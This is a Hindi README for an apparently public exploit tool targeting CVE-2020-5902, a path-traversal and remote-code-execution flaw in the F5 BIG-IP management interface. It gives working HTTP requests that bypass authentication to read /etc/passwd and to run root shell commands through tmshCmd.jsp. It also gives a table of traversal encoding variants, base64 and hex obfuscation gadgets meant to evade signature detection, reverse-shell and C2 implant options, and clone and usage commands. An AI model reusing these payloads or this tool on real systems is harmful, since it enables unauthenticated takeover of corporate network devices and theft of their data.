F5 BIG-IP एक एप्लिकेशन डिलीवरी और सुरक्षा प्लेटफ़ॉर्म है जो कॉर्पोरेट वातावरण में व्यापक रूप से उपयोग किया जाता है। CVE-2020-5902 TMUI में एक गंभीर भेद्यता है जो अनपैच किए गए संस्करणों में अनधिकृत पहुंच और दूरस्थ कोड निष्पादन की अनुमति दे सकती है, जो निरंतर अद्यतन और भेद्यता प्रबंधन की आवश्यकता को मजबूत करती है।
F5 BIG-IP के ट्रैफ़िक मैनेजमेंट यूज़र इंटरफ़ेस (TMUI) में पाए गए क्रिटिकल पथ-ट्रैवर्सल/रिमोट कोड एक्ज़ीक्यूशन कमज़ोरी का प्रूफ-ऑफ-कॉन्सेप्ट शोषण उपकरण।
⚠️ केवल अधिकृत पेनिट्रेशन टेस्टिंग और सुरक्षा अनुसंधान के लिए। जिन सिस्टमों के आप मालिक नहीं हैं या जिनके लिखित परीक्षण की अनुमति नहीं है, उनके विरुद्ध अनधिकृत उपयोग अवैध है। इस उपकरण के दुरुपयोग के लिए लेखक कोई जिम्मेदारी नहीं लेता।
F5 BIG-IP एक मल्टी-पर्पज नेटवर्क उपकरणों (लोड बैलेंसर, WAF, एप्लिकेशन डिलीवरी कंट्रोलर) का परिवार है जो दुनिया भर के अधिकांश Fortune 500 कंपनियों, वित्तीय संस्थानों, स्वास्थ्य संगठनों और सरकारी एजेंसियों में तैनात है। ट्रैफ़िक मैनेजमेंट यूज़र इंटरफ़ेस (TMUI) — जिसे कॉन्फिगरेशन उपयोगिता भी कहा जाता है — पोर्ट 443 (या 8443) पर सुलभ वेब-आधारित प्रबंधन पोर्टल है।
जुलाई 2020 में, F5 ने CVE-2020-5902 का खुलासा किया, जो TMUI में एक क्रिटिकल (CVSS 9.8) बिना प्रमाणीकरण के पथ-ट्रैवर्सल कमज़ोरी है, जो दूरस्थ, बिना प्रमाणीकृत हमलावर को अनुमति देती है:
सार्वजनिक खुलासे के दिनों के भीतर, बड़े पैमाने पर शोषण देखा गया, जिसमें राष्ट्र-राज्य अभिनेताओं द्वारा भी शामिल था।
TMUI Apache Tomcat पर बना है और संरक्षित संसाधनों पर प्रमाणीकरण लागू करने के लिए एक सर्वलेट फ़िल्टर का उपयोग करता है। कमज़ोरी इस बात में है कि Tomcat सेमीकोलन-डिलीमिटेड पथ सेगमेंट (;) को कैसे पार्स करता है।
निम्नलिखित अनुरोध पूरी तरह से प्रमाणीकरण को दरकिनार करता है:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
यह क्यों काम करता है:
/tmui/login.jsp (सामने वाले ; से पहले समाप्त) के रूप में देखता है — जो सार्वजनिक लॉगिन पृष्ठ है — और अनुरोध को अनुमति देता है।/..;/ को एक पथ ट्रैवर्सल (/../) के रूप में प्रोसेस करता है, इससे पहले कि वह डिस्पैच करे।fileRead.jsp सर्वलेट पर बिना प्रमाणीकरण के रूट हो जाता है।┌──────────────────────────────────────────────────────────────────┐
│ क्लाइंट अनुरोध │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat सर्वलेट फ़िल्टर │
│ देखता है: /tmui/login.jsp ✓ │
│ (सार्वजनिक एंडपॉइंट → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL रिज़ॉल्वर │
│ हल करता है: /..;/ → /../ │
│ अंतिम पथ: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (कोई auth जाँच नहीं) │
│ मनमानी फ़ाइलें रूट के रूप में पढ़ता है│
└───────────────────────────────┘
tmshCmd.jsp सर्वलेट (उसी ट्रैवर्सल के माध्यम से भी पहुँच योग्य) command और utilCmdArgs पैरामीटर को सीधे tmsh (BIG-IP प्रबंधन शेल) में भेजता है, जो run util bash -c '...' को लपेटता है। यह बिना प्रमाणीकृत रूट-स्तरीय OS कमांड निष्पादन प्रदान करता है:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
चरण 1: पुनर्संज्ञान
└─ TCP बैनर ग्रैब (HTTP/TLS फ़िंगरप्रिंट)
└─ SSL प्रमाणपत्र विश्लेषण
└─ HTTP हेडर फ़िंगरप्रिंट (Server, X-Powered-By, Set-Cookie)
└─ /etc/f5-release से BIG-IP संस्करण अनुमान
चरण 2: कमज़ोरी जाँच
└─ 6 ट्रैवर्सल एन्कोडिंग वेरिएंट पर पुनरावृत्ति
└─ 4 ज्ञात-पढ़ने योग्य संतरी फ़ाइलों के विरुद्ध परीक्षण
└─ आउटपुट को ज्ञात संकेतकों (root:x:0:0, BIG-IP, आदि) से मिलान करें
चरण 3: शोषण
├─ वेक्टर A: tmshCmd.jsp (प्राथमिक RCE)
│ └─ कमांड को base64 / hex-encode गैजेट्स के माध्यम से अस्पष्ट किया गया
├─ वेक्टर B: fileRead.jsp + fileName पैरामीटर में कमांड इंजेक्शन
│ └─ OS कमांड fileName पैरामीटर में इंजेक्ट किया गया
└─ वेक्टर C: लॉग पॉइज़निंग (User-Agent इंजेक्शन → access_log पढ़ना)
चरण 4: शोषण के बाद (वैकल्पिक)
├─ इंटरैक्टिव शेल (कमांड REPL)
├─ रिवर्स शेल (4 समवर्ती वन-लाइनर्स)
├─ LFI ब्रूट-फ़ोर्स (30 संवेदनशील पथ, समानांतर)
└─ C2 इम्प्लांट तैनाती (Sliver / Metasploit / कस्टम)
| वेरिएंट | पेलोड |
|---|---|
| मानक | tmui/login.jsp/..;/tmui/... |
| एन्कोडेड सेमीकोलन | tmui/login.jsp/..%3b/tmui/... |
| डबल URL एन्कोड | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| यूनिकोड डॉट-डॉट | tmui/login.jsp/%2e%2e;/tmui/... |
| केस वेरिएशन | TMUI/login.jsp/..;/tmui/... |
| डायरेक्टरी कंफ्यूजन | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
यह उपकरण प्रति निष्पादन दो ऑबफस्केशन गैजेट्स में से एक लागू करता है, जिससे स्थैतिक हस्ताक्षर का पता लगाना कठिन हो जाता है:
# गैजेट 1 — Base64 एनकोड/डीकोड पाइपलाइन
bash -c {echo,aWQ=}|{base64,-d}|bash
# गैजेट 2 — हेक्स-बाइट printf मूल्यांकन
eval "$(printf '\x69\x64')"
| BIG-IP ब्रांच | कमज़ोर रेंज | पैच किया गया संस्करण |
|---|---|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
BIG-IQ, BIG-IQ सेंट्रलाइज़्ड मैनेजमेंट, F5OS, और Traffix SDC इस विशेष CVE से प्रभावित नहीं हैं।
!revshell, !c2, !read, !brute कमांडgit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
आवश्यकताएँ: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. केवल कमज़ोरी जाँच
python CVE-2020-5902.py 192.168.1.100